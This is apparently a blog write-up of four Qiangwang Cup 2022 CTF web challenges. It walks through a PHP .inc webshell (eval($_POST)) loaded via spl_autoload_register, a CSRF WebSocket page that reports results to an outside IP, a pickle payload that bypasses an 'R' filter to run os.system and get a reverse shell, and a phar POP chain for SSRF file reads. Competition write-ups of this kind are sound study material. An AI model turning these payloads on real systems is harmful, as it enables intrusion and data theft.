前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >强网杯 2022 Web writeup

强网杯 2022 Web writeup

作者头像
ek1ng
发布2022-09-23 07:56:39
8070
发布2022-09-23 07:56:39
举报
文章被收录于专栏:ek1ng的技术小站

rcefile

php写的后端 要求使用文件上传+反序列化实现RCE

cookie中有序列化的userfile字段来表示用户已经上传的文件,那应该要先想办法通过文件读取的功能读取到源代码,然后再考虑如何结合反序列化实现RCE。

源码在 www.zip

主要流程就是3个能访问的php文件都是引入了config.inc.php这个文件,config.inc.php这个文件会将cookie中的userfile反序列化,在访问showfile.php时就会根据反序列化后的内容渲染在页面上。而upload.php中对上传文件内容做了过滤,并且对于能够符合条件的文件以md5时间为文件名存储。

代码语言:javascript
复制
$file = $_FILES["file"];
if ($file["error"] == 0) {
    if($_FILES["file"]['size'] > 0 && $_FILES["file"]['size'] < 102400) {
        $typeArr = explode("/", $file["type"]);
        $imgType = array("png","jpg","jpeg");
        if(!$typeArr[0]== "image" | !in_array($typeArr[1], $imgType)){
            exit("type error");
        }
        $blackext = ["php", "php5", "php3", "html", "swf", "htm","phtml"];
        $filearray = pathinfo($file["name"]);
        $ext = $filearray["extension"];
        if(in_array($ext, $blackext)) {
            exit("extension error");
        }
        $imgname = md5(time()).".".$ext;
        if(move_uploaded_file($_FILES["file"]["tmp_name"],"./".$imgname)) {
            array_push($userfile, $imgname);
            setcookie("userfile", serialize($userfile), time() + 3600*10);
            $msg = e("file: {$imgname}");
            echo $msg;
        } else {
            echo "upload failed!";
        }
    }
}else{
    exit("error");
}

比赛时候感觉没有魔法方法感觉很奇怪,这怎么打反序列化利用呢,虽然可以通过修改http请求来上传任意后缀内容的文件,但是.htacess是会被重命名的所以当时没有想到办法。

赛后看wp发现关键是config.inc.php 文件中的 spl_autoload_register() 函数

代码语言:javascript
复制
<?php
spl_autoload_register();
error_reporting(0);

function e($str){
    return htmlspecialchars($str);
}
$userfile = empty($_COOKIE["userfile"]) ? [] : unserialize($_COOKIE["userfile"]);
?>
<p>
    <a href="/index.php">Index</a>
    <a href="/showfile.php">files</a>
</p>

当spl_autoload_register()不指定处理用的函数,就会自动包含.php.inc的文件,并加载其中的文件名类,而且黑名单中也没有.inc,所以上传内容为<?php phpinfo();eval($_POST[evil]);?>的inc文件,上传后服务端会存放xxxx.inc,将xxxx反序列化后放在Cookie中,就可以实现RCE了。

babyweb

这是一个csrf的题目,当时就其实payload是对的但是第一次没打通以为是有什么问题,结果赛后一看别的师傅的wp发现一模一样,挺离谱的。将恶意页面放在服务器上面,让bot去访问,就可以伪装bot发给服务端修改密码请求,改密码后就可以登陆成功了。

代码语言:javascript
复制
<!doctype html>
<html>
<head></head>
<body>
<script>


        var url = "ws://127.0.0.1:8888/bot"
        // var url = "ws://123.56.105.22:23302/bot"
        var ws = new WebSocket(url)

        ws.onopen = e => {
                ws.send("changepw 111222333")
                window.location = "http://101.34.253.123:60012/connect" 
        }
        ws.onerror = e => {
                window.location = "http://101.34.253.123:60012/connection_error"        
        }
        ws.onmessage = function (ev) {
                window.location = "http://101.34.253.123:60012/msg_"+ev.data
        }
        
        ws.onclose = e => {
                window.location = "http://101.34.253.123:60012/conection_close"
        }

</script>
</body>
</html>

登陆上去后的部分就是看别人wp了,毕竟也没有开源题目。考察的是由于python和go对于json的解释器不同,写两个num并且第一个num改为负数就可以成功绕过限制。

crash

这个题目当时一直不懂flag在504页面是什么意思,只知道是打pickle反序列化,但是又很奇怪为什么会有os.system("rm -rf *py*")这样一句删光.py文件的语句。

代码语言:javascript
复制
import base64

# import sqlite3

import pickle
from flask import Flask, make_response,request, session
import admin
import random

app = Flask(__name__,static_url_path='')
app.secret_key=random.randbytes(12)

class User:
    def __init__(self, username,password):
        self.username=username
        self.token=hash(password)

def get_password(username):
    if username=="admin":
        return admin.secret
    else:
        # conn=sqlite3.connect("user.db")
        # cursor=conn.cursor()
        # cursor.execute(f"select password from usertable where username='{username}'")
        # data=cursor.fetchall()[0]
        # if data:
        #     return data[0]
        # else:
        #     return None
        return session.get("password")

@app.route('/balancer', methods=['GET', 'POST'])
def flag():
    pickle_data=base64.b64decode(request.cookies.get("userdata"))
    if b'R' in pickle_data or b"secret" in pickle_data:
        return "You damm hacker!"
    os.system("rm -rf *py*")
    userdata=pickle.loads(pickle_data)
    if userdata.token!=hash(get_password(userdata.username)):
         return "Login First"
    if userdata.username=='admin':
        return "Welcome admin, here is your next challenge!"
    return "You're not admin!"

@app.route('/login', methods=['GET', 'POST'])
def login():
    resp = make_response("success")
    session["password"]=request.values.get("password")
    resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
    return resp

@app.route('/', methods=['GET', 'POST'])
def index():
    return open('source.txt',"r").read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

第一步应该是想办法让解析cookie出来的userdata.username=’admin’,考虑pickle rce。

cookie中有两个字段,userdata是User对象用pickle序列化后的字节码再base64编码的,session是password,但是并不能直接伪造一个userdata,因为通过username和hash(password)来检验身份,而我们并不知道admin这个username对应的password。本地调试了一下,默认的用户username和password都是none。

首先是绕过’R和secret的限制,参考文章https://zhuanlan.zhihu.com/p/361349643

代码语言:javascript
复制
b'''cos
system
(S'command'
tR.'''

base64编码后替换cookie中的userdata,再访问/balancer接口就可以实现rce,反弹shell。 这里因为有os.system("rm -rf *py*"),而flag会在504页面返回,因此需要自己写一个flask服务并且写一句time.sleep延时,替换掉原本目录下的flask服务,再访问就会认为服务端504了给出flag了,不过这里有一点还没想明白的就是如果正常访问/balancer接口,不会触发os.system(“rm -rf py“)而导致服务崩溃么…

easyweb

有文件上传和读取文件功能,通过GET请求传入fname参数,通过phar协议访问上传的phar文件,来通过反序列化AdminShow类的Show函数实现ssrf,访问本地机器文件。

可以通过任意文件读取/showfile.php?f=../demo.png/../../../../../../../../../../../../etc/passwd读取源码

参考其他师傅的exp:

代码语言:javascript
复制
<?php
class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
}

class GuestShow{
    public $file;
    public $contents;
}


class AdminShow{
    public $source;
    public $str;
    public $filter;
}


$guest = new GuestShow();
$guest1 = new GuestShow();

$upload = new Upload();
$upload1 = new Upload();
$upload2 = new Upload();

$admin = new AdminShow();
$admin1 = new AdminShow();

$guest->file = $upload;
$upload->tmp = $admin;
$admin->str[0] = $upload1;
$admin->str[1] = $upload2;
$upload1->filesize = $admin1;
$upload1->date = "http://10.10.10.10/?url=file:///flag";
$upload2->filesize = $admin1;
$upload2->date = "";
$upload2->tmp = $guest1;
$guest1->file = $admin1;

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($guest); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

通过Show()函数实现ssrf后,可以从/proc/net/arp获取内网的ip地址。可惜题目环境下线了,那只能看一看Wp了就没法直接复现了。

访问10.10.10.10后,可以获取源码。

代码语言:javascript
复制
<?php
highlight_file(__FILE__);

if (isset($_GET['url'])){
    $link = $_GET['url'];
    $curlobj = curl_init();
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($curlobj);
    curl_close($curlobj);

    echo $result;
}

if($_SERVER['REMOTE_ADDR']==='10.10.10.101'||$_SERVER['REMOTE_ADDR']==='100.100.100.101'){
    system('cat /flag');
    die();
}

?>

又存在ssrf,那么传入http://10.10.10.10/?url=file:///flag,可以通过file协议来读取flag文件。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022年8月7日,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • rcefile
  • babyweb
  • crash
  • easyweb
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档